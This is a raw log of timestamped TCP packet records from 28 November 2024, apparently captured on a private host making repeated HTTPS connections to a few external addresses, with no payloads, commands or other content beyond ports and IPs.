Nov 28, 2024 10:06:06.828613043 CET	443	49914	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:06.831686020 CET	443	49914	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:06.831758022 CET	49914	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:06.831808090 CET	49914	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:06.831818104 CET	443	49914	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:06.831826925 CET	49914	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:06.831830978 CET	443	49914	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:06.838994980 CET	49919	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:06.839065075 CET	443	49919	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:06.839133024 CET	49919	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:06.839272022 CET	49919	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:06.839297056 CET	443	49919	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:07.036897898 CET	443	49916	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:07.037453890 CET	49916	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:07.037478924 CET	443	49916	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:07.037986040 CET	49916	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:07.037993908 CET	443	49916	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:07.222340107 CET	443	49915	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:07.225464106 CET	443	49915	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:07.225498915 CET	443	49915	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:07.225528002 CET	49915	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:07.225570917 CET	49915	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:07.225647926 CET	49915	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:07.225666046 CET	443	49915	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:07.225693941 CET	49915	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:07.225699902 CET	443	49915	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:07.228173018 CET	49920	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:07.228215933 CET	443	49920	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:07.228298903 CET	49920	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:07.228434086 CET	49920	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:07.228451967 CET	443	49920	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:07.488976955 CET	443	49916	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:07.491998911 CET	443	49916	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:07.492100000 CET	49916	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:07.492230892 CET	49916	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:07.492243052 CET	443	49916	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:07.495449066 CET	49921	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:07.495498896 CET	443	49921	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:07.495589018 CET	49921	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:07.495785952 CET	49921	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:07.495799065 CET	443	49921	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:07.903003931 CET	443	49917	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:07.903542042 CET	49917	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:07.903585911 CET	443	49917	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:07.904139996 CET	49917	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:07.904145002 CET	443	49917	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:08.086767912 CET	443	49918	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:08.087337017 CET	49918	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:08.087359905 CET	443	49918	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:08.087852001 CET	49918	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:08.087857008 CET	443	49918	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:08.345904112 CET	443	49917	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:08.349165916 CET	443	49917	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:08.349344015 CET	49917	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:08.349344015 CET	49917	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:08.349344015 CET	49917	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:08.352334976 CET	49922	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:08.352376938 CET	443	49922	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:08.352463961 CET	49922	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:08.352611065 CET	49922	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:08.352632999 CET	443	49922	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:08.593596935 CET	443	49919	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:08.594504118 CET	49919	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:08.594543934 CET	443	49919	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:08.594892979 CET	49919	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:08.594898939 CET	443	49919	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:08.641051054 CET	443	49918	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:08.641073942 CET	443	49918	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:08.641100883 CET	443	49918	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:08.641175985 CET	49918	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:08.641217947 CET	49918	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:08.641464949 CET	49918	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:08.641477108 CET	443	49918	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:08.641486883 CET	49918	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:08.641490936 CET	443	49918	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:08.644448042 CET	49923	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:08.644504070 CET	443	49923	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:08.644596100 CET	49923	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:08.644757986 CET	49923	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:08.644772053 CET	443	49923	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:08.648591042 CET	49917	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:08.648618937 CET	443	49917	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:09.049556971 CET	443	49919	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:09.053216934 CET	443	49919	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:09.053283930 CET	49919	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:09.053335905 CET	49919	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:09.053360939 CET	443	49919	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:09.053371906 CET	49919	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:09.053378105 CET	443	49919	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:09.058351994 CET	49924	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:09.058382988 CET	443	49924	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:09.058518887 CET	49924	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:09.058672905 CET	49924	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:09.058686972 CET	443	49924	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:09.109674931 CET	443	49920	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:09.111035109 CET	49920	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:09.111073971 CET	443	49920	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:09.111644983 CET	49920	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:09.111651897 CET	443	49920	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:09.454859972 CET	443	49921	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:09.455384016 CET	49921	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:09.455420971 CET	443	49921	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:09.455853939 CET	49921	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:09.455858946 CET	443	49921	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:09.554373026 CET	443	49920	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:09.557444096 CET	443	49920	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:09.557529926 CET	49920	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:09.557569027 CET	49920	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:09.557590008 CET	443	49920	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:09.557607889 CET	49920	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:09.557614088 CET	443	49920	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:09.560589075 CET	49925	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:09.560612917 CET	443	49925	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:09.560700893 CET	49925	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:09.560863018 CET	49925	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:09.560877085 CET	443	49925	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:09.909029007 CET	443	49921	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:09.912010908 CET	443	49921	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:09.912106037 CET	49921	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:09.912133932 CET	443	49921	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:09.912157059 CET	443	49921	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:09.912199974 CET	49921	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:09.912246943 CET	49921	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:09.912267923 CET	443	49921	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:09.912281990 CET	49921	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:09.912287951 CET	443	49921	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:09.917082071 CET	49926	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:09.917125940 CET	443	49926	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:09.917212009 CET	49926	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:09.917396069 CET	49926	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:09.917413950 CET	443	49926	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:10.134212971 CET	443	49922	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:10.134886026 CET	49922	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:10.134927034 CET	443	49922	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:10.135626078 CET	49922	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:10.135634899 CET	443	49922	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:10.424464941 CET	443	49923	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:10.424896002 CET	49923	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:10.424927950 CET	443	49923	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:10.425353050 CET	49923	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:10.425359964 CET	443	49923	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:10.578089952 CET	443	49922	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:10.581480026 CET	443	49922	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:10.581573963 CET	49922	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:10.581621885 CET	49922	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:10.581640005 CET	443	49922	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:10.581664085 CET	49922	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:10.581671000 CET	443	49922	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:10.584436893 CET	49927	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:10.584466934 CET	443	49927	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:10.584531069 CET	49927	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:10.584690094 CET	49927	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:10.584702969 CET	443	49927	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:10.773436069 CET	443	49924	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:10.776561975 CET	49924	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:10.776577950 CET	443	49924	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:10.777026892 CET	49924	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:10.777031898 CET	443	49924	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:10.869451046 CET	443	49923	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:10.872644901 CET	443	49923	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:10.872678995 CET	443	49923	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:10.872688055 CET	49923	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:10.872719049 CET	49923	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:10.872760057 CET	49923	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:10.872778893 CET	443	49923	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:10.872787952 CET	49923	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:10.872792959 CET	443	49923	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:10.875368118 CET	49928	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:10.875396967 CET	443	49928	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:10.875462055 CET	49928	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:10.875591993 CET	49928	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:10.875606060 CET	443	49928	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:11.207771063 CET	443	49924	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:11.211519957 CET	443	49924	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:11.211580038 CET	49924	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:11.211838961 CET	49924	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:11.211848974 CET	443	49924	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:11.211858988 CET	49924	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:11.211863041 CET	443	49924	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:11.214483976 CET	49929	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:11.214526892 CET	443	49929	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:11.214647055 CET	49929	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:11.214812994 CET	49929	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:11.214827061 CET	443	49929	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:11.340420008 CET	443	49925	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:11.340857029 CET	49925	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:11.340872049 CET	443	49925	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:11.341300964 CET	49925	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:11.341305971 CET	443	49925	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:11.771271944 CET	443	49926	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:11.772170067 CET	49926	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:11.772191048 CET	443	49926	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:11.772610903 CET	49926	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:11.772617102 CET	443	49926	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:11.785661936 CET	443	49925	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:11.788784981 CET	443	49925	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:11.788857937 CET	49925	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:11.788916111 CET	49925	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:11.788928032 CET	443	49925	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:11.788938046 CET	49925	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:11.788943052 CET	443	49925	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:11.791985035 CET	49930	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:11.792013884 CET	443	49930	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:11.792079926 CET	49930	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:11.792288065 CET	49930	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:11.792301893 CET	443	49930	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:12.200570107 CET	49800	443	192.168.2.7	104.98.116.138
Nov 28, 2024 10:06:12.200587988 CET	443	49800	104.98.116.138	192.168.2.7
Nov 28, 2024 10:06:12.208640099 CET	49931	443	192.168.2.7	104.98.116.138
Nov 28, 2024 10:06:12.208657026 CET	443	49931	104.98.116.138	192.168.2.7
Nov 28, 2024 10:06:12.208729029 CET	49931	443	192.168.2.7	104.98.116.138
Nov 28, 2024 10:06:12.210577965 CET	49931	443	192.168.2.7	104.98.116.138
Nov 28, 2024 10:06:12.210638046 CET	443	49931	104.98.116.138	192.168.2.7
Nov 28, 2024 10:06:12.210712910 CET	49931	443	192.168.2.7	104.98.116.138
Nov 28, 2024 10:06:12.227653027 CET	443	49926	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:12.230700970 CET	443	49926	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:12.230772972 CET	49926	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:12.230827093 CET	49926	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:12.230827093 CET	49926	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:12.230834007 CET	443	49926	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:12.230843067 CET	443	49926	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:12.233099937 CET	49932	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:12.233129978 CET	443	49932	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:12.233185053 CET	49932	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:12.233318090 CET	49932	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:12.233333111 CET	443	49932	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:12.429816961 CET	443	49927	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:12.430310011 CET	49927	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:12.430336952 CET	443	49927	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:12.430797100 CET	49927	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:12.430802107 CET	443	49927	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:12.720130920 CET	443	49928	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:12.720688105 CET	49928	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:12.720711946 CET	443	49928	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:12.721162081 CET	49928	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:12.721165895 CET	443	49928	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:12.883275032 CET	443	49927	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:12.887708902 CET	443	49927	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:12.887778997 CET	49927	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:12.887794971 CET	443	49927	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:12.887808084 CET	443	49927	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:12.887866974 CET	49927	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:12.887890100 CET	49927	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:12.887904882 CET	443	49927	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:12.887913942 CET	49927	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:12.887917995 CET	443	49927	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:12.890445948 CET	49933	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:12.890500069 CET	443	49933	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:12.890563011 CET	49933	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:12.890676975 CET	49933	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:12.890688896 CET	443	49933	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:12.995990038 CET	443	49929	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:13.002384901 CET	49929	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:13.002405882 CET	443	49929	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:13.002852917 CET	49929	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:13.002860069 CET	443	49929	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:13.173751116 CET	443	49928	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:13.176876068 CET	443	49928	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:13.176965952 CET	49928	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:13.234100103 CET	49928	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:13.234122992 CET	443	49928	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:13.234133959 CET	49928	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:13.234138966 CET	443	49928	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:13.295078993 CET	49934	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:13.295109987 CET	443	49934	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:13.295172930 CET	49934	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:13.295519114 CET	49934	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:13.295532942 CET	443	49934	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:13.440711975 CET	443	49929	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:13.443887949 CET	443	49929	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:13.443921089 CET	443	49929	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:13.443953037 CET	49929	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:13.443979979 CET	49929	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:13.465332031 CET	49929	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:13.465332031 CET	49929	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:13.465365887 CET	443	49929	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:13.465377092 CET	443	49929	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:13.478549004 CET	49935	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:13.478606939 CET	443	49935	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:13.478663921 CET	49935	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:13.480294943 CET	49935	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:13.480317116 CET	443	49935	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:13.636892080 CET	443	49930	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:13.637418032 CET	49930	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:13.637434959 CET	443	49930	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:13.637913942 CET	49930	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:13.637918949 CET	443	49930	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:14.014317989 CET	443	49932	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:14.014918089 CET	49932	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:14.014938116 CET	443	49932	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:14.015357971 CET	49932	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:14.015362978 CET	443	49932	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:14.090579987 CET	443	49930	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:14.090715885 CET	443	49930	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:14.090766907 CET	49930	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:14.090883017 CET	49930	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:14.090897083 CET	443	49930	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:14.090907097 CET	49930	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:14.090912104 CET	443	49930	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:14.093852043 CET	49936	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:14.093902111 CET	443	49936	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:14.093960047 CET	49936	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:14.094132900 CET	49936	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:14.094147921 CET	443	49936	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:14.458625078 CET	443	49932	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:14.461930990 CET	443	49932	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:14.461976051 CET	49932	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:14.461977959 CET	443	49932	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:14.462024927 CET	49932	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:14.462104082 CET	49932	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:14.462116957 CET	443	49932	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:14.462130070 CET	49932	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:14.462135077 CET	443	49932	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:14.464968920 CET	49937	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:14.464996099 CET	443	49937	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:14.465070009 CET	49937	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:14.465209007 CET	49937	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:14.465221882 CET	443	49937	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:14.682055950 CET	443	49933	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:14.683003902 CET	49933	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:14.683003902 CET	49933	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:14.683036089 CET	443	49933	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:14.683053017 CET	443	49933	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:15.126854897 CET	443	49933	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:15.129992008 CET	443	49933	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:15.132751942 CET	49933	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:15.132751942 CET	49933	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:15.132886887 CET	49933	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:15.132908106 CET	443	49933	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:15.135260105 CET	49938	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:15.135319948 CET	443	49938	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:15.135478973 CET	49938	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:15.135540009 CET	49938	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:15.135555983 CET	443	49938	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:15.168298006 CET	443	49934	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:15.168730021 CET	49934	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:15.168745041 CET	443	49934	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:15.172555923 CET	49934	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:06:15.172559977 CET	443	49934	13.107.246.63	192.168.2.7
Nov 28, 2024 10:06:15.261138916 CET	443	49935	13.107.246.63	192.168.2.7
